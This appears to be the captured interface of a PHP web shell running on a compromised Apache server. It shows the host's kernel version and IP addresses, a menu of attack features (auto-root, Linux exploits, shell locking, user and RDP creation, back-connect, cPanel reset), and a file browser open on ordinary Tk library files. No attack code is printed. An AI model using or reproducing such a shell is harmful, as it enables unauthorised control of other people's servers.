Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.117.94.77
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
tk8.5 /
[ HOME SHELL ]
Name
Size
Permission
Action
demos
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
msgs
[ DIR ]
drwxr-xr-x
ttk
[ DIR ]
drwxr-xr-x
bgerror.tcl
7.93
KB
-rw-r--r--
button.tcl
19.5
KB
-rw-r--r--
choosedir.tcl
9.42
KB
-rw-r--r--
clrpick.tcl
20.8
KB
-rw-r--r--
comdlg.tcl
7.54
KB
-rw-r--r--
console.tcl
28.94
KB
-rw-r--r--
dialog.tcl
5.87
KB
-rw-r--r--
entry.tcl
16.55
KB
-rw-r--r--
focus.tcl
4.74
KB
-rw-r--r--
listbox.tcl
13.65
KB
-rw-r--r--
menu.tcl
36.86
KB
-rw-r--r--
mkpsenc.tcl
26.56
KB
-rw-r--r--
msgbox.tcl
16.64
KB
-rw-r--r--
obsolete.tcl
5.46
KB
-rw-r--r--
optMenu.tcl
1.55
KB
-rw-r--r--
palette.tcl
7.68
KB
-rw-r--r--
panedwindow.tcl
5.05
KB
-rw-r--r--
safetk.tcl
7.09
KB
-rw-r--r--
scale.tcl
7.43
KB
-rw-r--r--
scrlbar.tcl
11.72
KB
-rw-r--r--
spinbox.tcl
14.73
KB
-rw-r--r--
tclIndex
21.77
KB
-rw-r--r--
tearoff.tcl
5.02
KB
-rw-r--r--
text.tcl
31.72
KB
-rw-r--r--
tk.tcl
17.66
KB
-rw-r--r--
tkfbox.tcl
52.78
KB
-rw-r--r--
unsupported.tcl
11.12
KB
-rw-r--r--
xmfbox.tcl
25.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : optMenu.tcl
# optMenu.tcl -- # # This file defines the procedure tk_optionMenu, which creates # an option button and its associated menu. # # Copyright (c) 1994 The Regents of the University of California. # Copyright (c) 1994 Sun Microsystems, Inc. # # See the file "license.terms" for information on usage and redistribution # of this file, and for a DISCLAIMER OF ALL WARRANTIES. # # ::tk_optionMenu -- # This procedure creates an option button named $w and an associated # menu. Together they provide the functionality of Motif option menus: # they can be used to select one of many values, and the current value # appears in the global variable varName, as well as in the text of # the option menubutton. The name of the menu is returned as the # procedure's result, so that the caller can use it to change configuration # options on the menu or otherwise manipulate it. # # Arguments: # w - The name to use for the menubutton. # varName - Global variable to hold the currently selected value. # firstValue - First of legal values for option (must be >= 1). # args - Any number of additional values. proc ::tk_optionMenu {w varName firstValue args} { upvar #0 $varName var if {![info exists var]} { set var $firstValue } menubutton $w -textvariable $varName -indicatoron 1 -menu $w.menu \ -relief raised -highlightthickness 1 -anchor c \ -direction flush menu $w.menu -tearoff 0 $w.menu add radiobutton -label $firstValue -variable $varName foreach i $args { $w.menu add radiobutton -label $i -variable $varName } return $w.menu }
Close
